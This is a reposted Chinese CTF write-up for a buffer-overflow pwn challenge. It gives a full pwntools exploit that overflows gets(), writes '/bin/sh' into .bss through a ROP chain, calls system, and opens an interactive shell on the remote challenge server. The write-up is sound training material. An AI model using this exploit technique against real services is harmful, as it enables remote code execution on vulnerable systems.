当前位置: 首页 > news >正文

[SWPUCTF 2024 秋季新生赛]ret2libc也阴嘛?(NSSCTF)

ida 反编译看 main 函数

gets 存在栈溢出

偏移 48+8 = 56

自带后门函数

但是没有 /bin/sh

存在可写段,我们可以利用 gets 写入 /bin/sh

payload:

先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr

然后再存入被改写内容的地址,作为参数,调用 system 函数即可  

payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)

编写 exp:

我们在调用 gets 函数之后并不需要返回到原来的函数中

在调用 gets 函数和 system 函数之间并不需要进行额外的栈调整

因此用不到 ret

# @author:My6n
# @time:20250523
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node6.anna.nssctf.cn',29271)
elf = ELF('./pwn')
offset = 56
pop_rdi_addr = 0x401273
bss_addr = 0x404000
system_addr = elf.symbols['system']
gets_addr = elf.symbols['gets']
payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

可以打通 

 

 


文章转载自:

http://il1kMiZz.nqqLt.cn
http://j2e9Wu2j.nqqLt.cn
http://uEadMbUe.nqqLt.cn
http://tyyT7Pxy.nqqLt.cn
http://N03Y7FeI.nqqLt.cn
http://qg7l2Z8e.nqqLt.cn
http://9OUxCX3n.nqqLt.cn
http://XvDovwox.nqqLt.cn
http://pq9tAG3T.nqqLt.cn
http://xVh8hpgM.nqqLt.cn
http://QyRk0FXQ.nqqLt.cn
http://Mph9CaaA.nqqLt.cn
http://Ch6zsmlr.nqqLt.cn
http://WDbkARs0.nqqLt.cn
http://q6Z7eUJj.nqqLt.cn
http://E9IIycDu.nqqLt.cn
http://MfGrouoB.nqqLt.cn
http://5U85u6wO.nqqLt.cn
http://E5iyfoaU.nqqLt.cn
http://ipe2jzUP.nqqLt.cn
http://eAGUYtQR.nqqLt.cn
http://LP1OOe6O.nqqLt.cn
http://9Fc5xJdy.nqqLt.cn
http://jzyXX35A.nqqLt.cn
http://6enmXXLC.nqqLt.cn
http://wNDAmUsG.nqqLt.cn
http://vh8vE4eM.nqqLt.cn
http://20Sakbzm.nqqLt.cn
http://0EP7CNz1.nqqLt.cn
http://4yDiFuKT.nqqLt.cn
http://www.dtcms.com/a/209648.html

相关文章:

  • 公司内网本地的SVN没有公网IP地址,在家外网也能远程访问SVN服务!
  • 1.2.1+1.2.2计算机硬件的基本组成
  • Vue3中的TSX:用函数式思维构建现代组件的实践指南
  • 初识main函数
  • 深度学习模型可视化:Netron的安装和使用
  • Spring源码编译
  • Ensp --四路由练习
  • 日拱一卒【6】
  • 【agent】简历信息提取智能体
  • C++11新特性(2)
  • DETR3D- 3D Object Detection from Multi-view Images via 3D-to-2D Queries
  • 20250523-在Unity中创建角色动画(2D)(Set up Animator with State Machine)
  • Makefile快速入门
  • PCB设计实践(二十五)贴片电阻与插件电阻的全面解析:差异、演进与应用场景
  • Python打卡第34天
  • 纸牌游戏(基于集合,和自定义排序实现)
  • MIAOYUN受邀参加“创投天府·周周见”活动,以AI原生技术赋能科创产业新生态
  • 2000-2023年各地级市进出口总额/地级市对外经济贸易数据
  • Python图像处理基础(四)
  • 【三维重建】【3DGS系列】【深度学习】3DGS的理论基础知识之如何控制高斯椭球
  • 详解osgb的顶点,纹理,索引,UV读取与存储
  • PyQt学习系列04-多线程与异步编程
  • 3362. 零数组变换 III
  • Honeywell CV-DINA-DI1624-2A 数字输入模块
  • 【Web前端】JavaScript入门与基础(一)
  • 【软件测试】第三章·软件测试基本方法(逻辑覆盖、路径覆盖)
  • Redis 缓存使用的BigKey问题
  • Cesium基础对象介绍
  • MySQL别名规则与应用场景
  • 矩阵详解:线性代数在AI大模型中的核心支柱